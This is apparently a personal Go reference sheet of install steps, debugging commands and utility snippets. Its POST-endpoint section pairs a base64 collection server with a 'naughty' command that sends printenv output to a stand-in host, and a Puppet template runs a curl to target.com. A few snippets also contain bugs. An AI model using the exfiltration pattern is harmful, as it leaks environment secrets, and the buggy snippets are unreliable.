This will encompass things that I find useful and end up looking up later when I haven't written go in a while.
Installation
Ubuntu
dl_link='https://dl.google.com/go/go1.15.7.linux-amd64.tar.gz'
wget -c $dl_link -O - | sudo tar -xz -C /usr/local
echo "" >> ~/.bashrc
echo '# Golang exports' >> ~/.bashrc
echo 'export PATH="$PATH:$:/usr/local/go/bin"' >> ~/.bashrc
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc
source ~/.bashrc
# Test:
go version
Resource: https://golang.org/doc/install
Start New Project
This will create the project:
mkdir $GOPATH/src/github.com/<git account name>/<project name>
cd $_
go mod init github.com/<git account name>/<project name>
Resource: https://golang.org/doc/code.html
Clone project
export GO111MODULE=off
go get github.com/<git account name>/<project name>
You'll be able to find the code in $GOPATH/src/github.com/<git account name>/<project name>
Resource: https://stackoverflow.com/questions/66284870/go-get-not-downloading-to-src-folder
Get dependencies
Get any dependencies you've defined in go code you've put in place
go get -v
Concepts
functionName vs FunctionName
A function that starts with a lowercase letter is only available within the package in which it's defined.
A function that start with an uppercase letter is available to any packages in your program.
Compile binary
go build
String Interpolation
var a string = "Hello"
var b string = "World"
c := fmt.Sprintf("%s %s!", a, b)
fmt.Println(c)
Run on MacOS with brew
Install it:
brew install golang
Add the following to ~/.zshrc:
export GOPATH=$HOME/programs/go
# Set GOROOT since we're using brew
export GOROOT="$(brew --prefix golang)/libexec"
# Add go to PATH - so we can run executables from anywhere
export PATH="$PATH:${GOPATH}/bin:${GOROOT}/bin"
Resource: https://medium.com/@krisma/gopath-and-goroot-set-up-in-mac-and-in-vscode-cf86d8503e57
Manage multiple golang versions
bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
source $HOME/.gvm/scripts/gvm
List all go versions
gvm listall
Install new go version
gvm install go1.16.4
Set default go version
gvm use go1.16.4 --default
Resources:
https://jimkang.medium.com/install-go-on-mac-with-homebrew-5fa421fc55f5
https://blog.bullgare.com/2020/11/install-go-with-gvm-on-macos-big-sur/
Debugging
Start debugger:
dlv debug
Set breakpoint on line 36 in main.go:
break main.go:36
Set breakpoint on line 8 in anotherGoFile.go:
break anotherGoFile.go:8
Debug program with command line arguments (after compiling)
dlv debug -- -a argument -b another_argument
Print contents of the b variable
print b
Restart the debugging process
r
Resources:
https://github.com/derekparker/delve/issues/178
https://www.youtube.com/watch?v=zgLjVD5ZSOc
Useful Functions
Remove empty strings trailing in a slice
func RemoveTrailingEmptyStringsInStringArray(sa []string) []string {
lastNonEmptyStringIndex := len(sa) - 1
for i := lastNonEmptyStringIndex; i >= 0; i-- {
if sa[i] == "" {
lastNonEmptyStringIndex--
} else {
break
}
}
return sa[0 : lastNonEmptyStringIndex+1]
}
Read an input file from a specified path
func readLines(filePath string) ([]string, error) {
b, err := ioutil.ReadFile(filePath)
if err != nil {
return nil, err
}
return RemoveTrailingEmptyStringsInStringArray(strings.Split(string(b), "\n")), nil
}
Remove an extension from a string
func removeExtn(input string) string {
if len(input) > 0 {
if i := strings.LastIndex(input, "."); i > 0 {
input = input[:i]
}
}
return input
}
Resource:
https://play.golang.org/p/Agak4g66pfb - playground and source
Compiling binaries
OSX 64-bit:
env GOOS=darwin GOARCH=amd64 go build -o osx
Linux 64-bit:
env GOOS=linux GOARCH=amd64 go build -o linux
Resources:
https://www.digitalocean.com/community/tutorials/how-to-build-go-executables-for-multiple-platforms-on-ubuntu-16-04
https://stackoverflow.com/questions/42706246/how-to-build-executable-with-name-other-than-golang-package
Return multiple values from function
You can natively return multiple values in go. Here's a basic function example (specifcally the declaration and return):
func greatFunc(param1 string, param2 string, param3 string) (bool, string) {
// body omitted
return true, returnString
Resource:
https://gobyexample.com/multiple-return-values
Multiline string
var payload = ` include myfile
}`
Resource:
https://play.golang.org/p/kcupXFwzgrZ
Comments
Normal
// comment
Block
/*
comment
*/
Nested directory creation
err := os.MkdirAll("/tmp/foo/bar", os.ModePerm)
Resource:
https://stackoverflow.com/questions/28448543/how-to-create-nested-directories-using-mkdir-in-golang
Convert int to str
import "strconv"
strconv.Itoa(123) // "123"
Resource: https://stackoverflow.com/questions/10105935/how-to-convert-an-int-value-to-string-in-go
Check if string contains another string
import (
"strings"
)
var var2 string = "bla"
output := strings.Contains("blablabla", var2)
fmt.Println(output) // true
Resource: https://stackoverflow.com/questions/45266784/go-test-string-contains-substring
Filepath operations
import "fmt"
import "path/filepath"
func main() {
t := "/etc/init.d/somefile"
fmt.Printf("base is %q dir is %q is it absolute? %v\n",
filepath.Base(t),
filepath.Dir(t),
filepath.IsAbs(t))
d, f := filepath.Split(t)
fmt.Printf("split returns file %q dir %q\n", f, d)
fmt.Printf("clean it up %q", filepath.Clean("a/b/c/../d//////../../f"))
}
If you need to return a filepath:
d := "/etc/bla/bla2/bla3/"
filepath.Clean(filepath.Join(d, "../")) // /etc/bla/bla2
Get the directory of a path
fmt.Println(filepath.Dir("/root/.ansible/site.yml"))
Playground: https://play.golang.org/p/nlcH1G3x5Vs
Get the last element of a path
base := filepath.Base("/home/dennis/IdeaProjects/Playground/hello.go")
fmt.Println("Base:", base)
# returns hello.go
Resource: https://ispycode.com/GO/Path-and-Filepath/Last-element-of-path
Read template file
The person that put this together is a hero (Gustavo Bittencourt).
package main
import (
"log"
"os"
"path"
"text/template"
)
type Command struct {
ClassName string
CmdName string
Cmd string
}
func main() {
command := Command{
ClassName: "my_cmd",
CmdName: "cmd",
Cmd: "curl target.com:8001/asdf",
}
t := template.New("puppetModule.tmpl")
t, err := t.ParseFiles(path.Join("templates", "puppetModule.tmpl"))
if err != nil {
log.Fatal("Parse: ", err)
}
err = t.Execute(os.Stdout, command)
if err != nil {
log.Fatal("Execute: ", err)
}
}
puppetModule.tmpl
class {{.ClassName}} {
exec { '{{.CmdName}}':
path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
command => '{{.Cmd}}'
}
}
Go get cert errors fix
Obviously, this is not ideal (observe the -insecure flag):
go get -u -v -insecure <target project>
From go help get:
-u: Look for updates to existing packages
-v: Verbose progress and debug output
Resource:
https://github.com/golang/go/issues/18519
Generate random int in a range
import (
"fmt"
"math/rand"
"time"
)
func randInt(min int, max int) int {
return min + rand.Intn(max-min)
}
func main() {
start := 1
finish := 6
rand.Seed(time.Now().UTC().UnixNano())
fmt.Printf("%v", rand.Intn(finish-start)+start)
}
Resources:
https://stackoverflow.com/questions/44659343/how-to-choose-a-random-number-from-the-range
https://golang.cafe/blog/golang-random-number-generator.html
Get lowercase version of string
import "strings"
strings.ToLower("Gopher")
Copy file
import (
"io/ioutil"
"log"
)
func CpFile(src string, dst string) {
input, err := ioutil.ReadFile(src)
if err != nil {
log.Println(err)
return
}
err = ioutil.WriteFile(dst, input, 0644)
if err != nil {
log.Println("Error creating", dst)
log.Println(err)
return
}
}
Resource:
https://opensource.com/article/18/6/copying-files-go
Determine OS being used
package main
import (
"fmt"
"runtime"
)
func main() {
if runtime.GOOS == "linux" {
fmt.Println("You are running on Linux")
} else if runtime.GOOS == "darwin" {
fmt.Println("You are running on OSX")
} else if runtime.GOOS == "windows" {
fmt.Println("You are running on Windows")
} else {
fmt.Println("Unsupported OS detected")
}
}
Playground:
https://play.golang.org/p/ULd8sMpy0dt
Resources:
https://golangcode.com/detect-if-code-is-running-on-windows-at-runtime/
Go get private repo
git config --global url."git@github.com:".insteadOf "https://github.com/"
Resource:
https://bialon.net/post/how-to-go-get-private-repos/
Get Working Directory
func Gwd() string {
dir, err := os.Getwd()
if err != nil {
log.Fatalln(err)
}
return dir
}
Resource:
https://gist.github.com/arxdsilva/4f73d6b89c9eac93d4ac887521121120
Install a specific binary version
go get github.com/some/tool@v1.0.1
Resource:
https://stackoverflow.com/questions/53368187/go-modules-installing-go-tools
Unit Testing
Run tests without caching
As of 1.12, you can no longer use GOCACHE=off, i.e.
GOCACHE=off go test -v -race ./...
However, you can use -count=1. For example:
go test -count=1 -v -race ./...
Resources:
https://github.com/golang/go/issues/26809
https://github.com/golang/go/issues/22758
Unit test unexported functions
An unexported function aka a private function requires a little hack to write unit tests for. The steps are as follows:
- Create a
export_test.gofile in which you will create an exported variable that points to the unexported function. For example:
package <package in which the unexported function exists>
var Backup = backup
- Next, create your normal
_testfile and be sure to reference the exported variable you created inexport_test.go
Resource:
https://medium.com/@robiplus/golang-trick-export-for-test-aa16cbd7b8cd
Slices
A slice is essentially an array in Golang.
String to Slice
cmd := "puppetserver ca list --all"
strArr := strings.Fields(cmd)
fmt.Println(strArr[0])
// Will print: puppetserver
Resource:
https://stackoverflow.com/questions/13737745/split-a-string-on-whitespace-in-go
Convert string slice to string
strings.Join(arr []string, seperator string) string
Resource:
https://stackoverflow.com/questions/41756412/golang-convert-type-string-to-string
Check if string in slice
func stringInSlice(a string, list []string) bool {
for _, b := range list {
if b == a {
return true
}
}
return false
}
Example usage:
if stringInSlice("bla", blaSlice) {
fmt.Println("Gotem!")
}
Resources:
https://stackoverflow.com/questions/15323767/does-go-have-if-x-in-construct-similar-to-python - idea
https://play.golang.org/p/j6hP7lygR33 - hands-on example
https://play.golang.org/p/NoucaeldZoO - another hands-on example
Write slice to file
package main
import (
"fmt"
"log"
"os"
)
func main() {
f, err := os.Create("data.txt")
if err != nil {
log.Fatal(err)
}
defer f.Close()
words := []string{"sky", "falcon", "rock", "hawk"}
for _, word := range words {
_, err := f.WriteString(word + "\n")
if err != nil {
log.Fatal(err)
}
}
fmt.Println("done")
}
Resource: https://zetcode.com/golang/writefile/
Get everything but first element of slice
range Arr[1:]
Resource:
https://stackoverflow.com/questions/37429248/skip-first-element-of-an-array-in-golang
Convert bytes slice to a string
s := string([]byte{65, 66, 67, 226, 130, 172})
fmt.Println(s) // ABC€
Resource: https://yourbasic.org/golang/convert-string-to-byte-slice/
Convert strings slice to string
strings.Join(arr []string, seperator string) string
Resource:
https://stackoverflow.com/questions/41756412/golang-convert-type-string-to-string
File to Slice
Reads an input file into a slice
func fileToSlice(fileName string) ([]string, error) {
b, err := ioutil.ReadFile(fileName)
if err != nil {
return nil, err
}
return strings.Split(string(b), "\n"), nil
}
Resource: https://socketloop.com/tutorials/golang-read-a-file-into-an-array-or-slice-example
Go Mod
Create new go.mod file:
go mod init
Add module requirements for all packages
go mod tidy
Resources:
https://blog.golang.org/migrating-to-go-modules
https://medium.com/@fonseka.live/getting-started-with-go-modules-b3dac652066d
Write to file
m := "stuff to write in file"
err = ioutil.WriteFile("./file.txt", m, 0644)
if err != nil {
log.Printf("error: %v", err)
}
package main
import (
"fmt"
"log"
"os"
)
func main() {
f, err := os.Create("data.txt")
if err != nil {
log.Fatal(err)
}
defer f.Close()
_, err2 := f.WriteString("old falcon\n")
if err2 != nil {
log.Fatal(err2)
}
fmt.Println("done")
}
Resource: https://zetcode.com/golang/writefile/
Append to multiple files
af, err := os.OpenFile(asnsFile,os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("error: %v", err)
}
irf, err := os.OpenFile(ipRangesFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("error: %v", err)
}
defer af.Close()
defer irf.Close()
if _, err := af.WriteString("stuff\n"); err != nil {
log.Fatalf("Error writing to %v: %v", af, err)
}
if _, err := irf.WriteString("More stuff!\n"); err != nil {
log.Fatalf("Error writing to %v: %v", irf, err)
}
Unmarshal yaml
Begin by using https://mengzhuo.github.io/yaml-to-go/ to create a struct for the yaml file, for example:
type ansible []struct {
Name string `yaml:"name"`
Hosts string `yaml:"hosts"`
Become bool `yaml:"become"`
Roles []string `yaml:"roles"`
}
Once you've done that, read the yaml file and unmarshal it into the struct:
b, err := ioutil.ReadFile("./ansible.yml")
if err != nil {
log.Fatal(err)
}
d := ansible{}
err = yaml.Unmarshal(b, &d)
if err != nil {
log.Fatal(err)
}
log.Printf("%v", d)
If you make modifications to the yaml, marshal it and write it back to the file:
d[0].Roles = append(d[0].Roles, "hello2")
log.Printf("%v", d)
m, err := yaml.Marshal(&d)
if err != nil {
log.Fatalf("error: %v", err)
}
err = ioutil.WriteFile("./ansible_modified.yml", m, 0644)
if err != nil {
log.Fatalf("error: %v", err)
}
Resources:
https://github.com/go-yaml/yaml
https://gist.github.com/ka2n/4457eacdb6c986624eb29cc02fe8d31c
https://play.golang.org/p/nYZCWIi2hxa
Multi line variable assignment
var data2 = `
---
- hosts: all
remote_user: root
roles:
- common
- hosts: lb_servers
remote_user: root
roles:
- lb-nginx
- hosts: backend_servers
remote_user: root
roles:
- tomcat
- hosts: memcached_servers
remote_user: root
roles:
- memcached
`
Resource: https://github.com/ansible/ansible-examples/blob/master/tomcat-memcached-failover/site.yml
Set
// Create new empty set
set := make(map[string]bool)
// Add new element to the set
set["bla"] = true
// Print the elements of the set
for k := range set {
fmt.Println(k)
}
// Add item to set if it's not already there
if !set["bla"] {
set["bla"] = true
}
Resources:
https://yourbasic.org/golang/implement-set/
https://play.golang.org/p/T2TR_Aib-H7
Regular expressions
Check if string matches regex
file := "ansible.cfg.old"
matched, _ := regexp.MatchString(`ansible.cfg$`, file)
// Return false
fmt.Println(matched)
Resources:
https://yourbasic.org/golang/regexp-cheat-sheet/
https://play.golang.org/p/UUqSQHCqMsZ
Check if string is valid hostname
This will match valid hostnames as per RFC 1123.
line := "hostname.example.com"
validHostname, _ := regexp.MatchString(`^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$`, line)
if validHostname {
fmt.Println(line)
}
Resources:
https://stackoverflow.com/questions/106179/regular-expression-to-match-dns-hostname-or-ip-address
https://play.golang.org/p/Mhckhn4jj3r
Print go representation of a value
This is very helpful if you're trying to do something like copying a big slice into the The Go Playground, or want to get a sense of how something looks in go.
fmt.Printf("%#v", bigSlice)
Resource: https://stackoverflow.com/questions/24489384/how-to-print-the-values-of-slices
Convert relative to absolute path
// Operating from /home/user/dir
absFilePath = ""
path, err := filepath.Abs(Cli.FilePath)
if err != nil {
log.Printf("Error getting absolute path from %s", path)
}
absFilePath = path
Run goscorecard locally
Get the CLI:
go get github.com/gojp/goreportcard/cmd/goreportcard-cli
Navigate to the directory you want to run it on, and then run:
goreportcard-cli -v
Resource: https://github.com/gojp/goreportcard
Validate input emails
package validators
import (
"fmt"
"net"
"regexp"
"strings"
)
// IsEmailValid checks an input email to determine
// if it is a valid email address.
// Code was found at: https://golangcode.com/validate-an-email-address/
func IsEmailValid(email string) bool {
var emailRegex = regexp.MustCompile("^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$")
fmt.Printf("Validating email: %s\n", email)
if len(email) < 3 && len(email) > 254 {
return false
}
if !emailRegex.MatchString(email) {
return false
}
parts := strings.Split(email, "@")
mx, err := net.LookupMX(parts[1])
if err != nil || len(mx) == 0 {
fmt.Printf("Error, invalid email: %s", email)
return false
}
return true
}
Resource: https://golangcode.com/validate-an-email-address/
Get the type of an object
var x interface{} = r.FormValue("email")
xType := fmt.Sprintf("%T", x)
fmt.Println(xType) // "string"
Resource: https://yourbasic.org/golang/find-type-of-object/
Response Codes
Can be found here: https://golang.org/src/net/http/status.go
Show supported functions
fooType := reflect.TypeOf(result)
for i := 0; i < fooType.NumMethod(); i++ {
method := fooType.Method(i)
fmt.Println(method.Name)
}
Resource: https://stackoverflow.com/questions/21397653/how-to-dump-methods-of-structs-in-golang
Pretty Print a Request
requestDump, err := httputil.DumpRequest(req, true)
if err != nil {
fmt.Println(err)
}
fmt.Println(string(requestDump))
Resource: https://medium.com/doing-things-right/pretty-printing-http-requests-in-golang-a918d5aaa000
POST endpoint with self signed cert
This can be used to decode base64 input from a POST request and output it to a file.
Interestingly, as I was building this in the first place, I found that using r.ParseForm was giving me different base64 than if I ran the output through httputil.DumpRequest.
Suffice it to say, the final solution is suited to a very particular case, and you should definitely never even remotely consider running it in production EVER.
Generate the self signed cert and key:
openssl req \
-x509 \
-nodes \
-new \
-keyout server.key \
-out server.crt \
-days 3650 \
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=yourhostname.com"
main.go:
package main
import (
b64 "encoding/base64"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/http/httputil"
"path/filepath"
"regexp"
"time"
)
func genFileName() string {
t := time.Now()
return t.Format(time.RFC3339) + ".txt"
}
func endpoint(w http.ResponseWriter, r *http.Request) {
// Make sure input is a POST request
if r.Method != http.MethodPost {
w.WriteHeader(http.StatusMethodNotAllowed)
fmt.Fprintf(w, "invalid_http_method")
return
}
// Dump the request because we're not getting the right base64 value
// when we do things properly with r.ParseForm()
requestDump, err := httputil.DumpRequest(r, true)
if err != nil {
fmt.Println(err)
}
// For debugging purposes:
//fmt.Println(string(requestDump))
dataRegex := regexp.MustCompile(`stuff=(.*)`)
groups := dataRegex.FindStringSubmatch(string(requestDump))
decoded, err := b64.StdEncoding.DecodeString(groups[1])
if err != nil {
fmt.Println("decode error:", err)
return
}
// print data when it comes in
fmt.Println(string(decoded))
// write the decoded data to a file
filename := genFileName()
err = ioutil.WriteFile(filepath.Join("data", filename), []byte(decoded), 0644)
if err != nil {
log.Fatalf("error: %v", err)
}
fmt.Fprintf(w, "Data received, thanks!")
}
func main() {
port := ":8080"
mux := http.NewServeMux()
mux.HandleFunc("/data", endpoint)
log.Fatal(http.ListenAndServeTLS(port, "server.crt", "server.key", mux))
}
Send data to it:
echo "stuff=bla" | curl -X POST -k https://yourhostname.com:8080/data -d @-
For example, if you're being naughty, you might do something like:
env_data=$(printenv | base64 -w 0)
echo "stuff=$env_data" | curl -X POST -k https://yourhostname.com:8080/data -d @-
If you're being naughty and careful, you can use the client certificate instead of the -k flag. More details on how to do that here.
Resources:
https://www.dotnetperls.com/filename-date-go - initial example for using the date for the filename
https://www.golangprograms.com/get-current-date-and-time-in-various-format-in-golang.html - time formatting examples
https://flaviocopes.com/go-date-time-format/ - time formatting
https://github.com/denji/golang-tls - TLS with a self signed cert example
https://golangcode.com/handle-post-request-data/ - an example of how to process form data
https://medium.com/@edwardpie/processing-form-request-data-in-golang-2dff4c2441be - another example of how to process form data
https://gobyexample.com/base64-encoding - base64 example
Output to a file
func outputToFile(filepath string, content []byte, permissions os.FileMode) bool {
err := ioutil.WriteFile(filepath, content, permissions)
if err != nil {
log.Printf("error: %v", err)
return false
}
return true
}
success := outputToFile(filepath.Join("~/ubuntu/output.txt", stufftowrite, 0644))
if success == true {
fmt.Println("Wrote output to file successfully!")
}
Cobra
Create a project
After starting a new project:
cobra init --pkg-name yourpackage
Additional parameters for a new project
These parameters specify a name, a license, and the name of the package:
cobra init -a 'Your Name <youremail@whereever.com>' -l MIT --pkg-name yourpackage
Install cobra package
go get -u github.com/spf13/cobra/cobra
Resource: https://towardsdatascience.com/how-to-create-a-cli-in-golang-with-cobra-d729641c7177
Add new command
cobra add commandname
Additional parameters for adding a new command
These parameters specify a name and license:
cobra add commandname -a 'Your Name <youremail@whereever.com>' -l MIT
Build the binary
go install yourpackage
How Flags Work
https://ordina-jworks.github.io/development/2018/10/20/make-your-own-cli-with-golang-and-cobra.html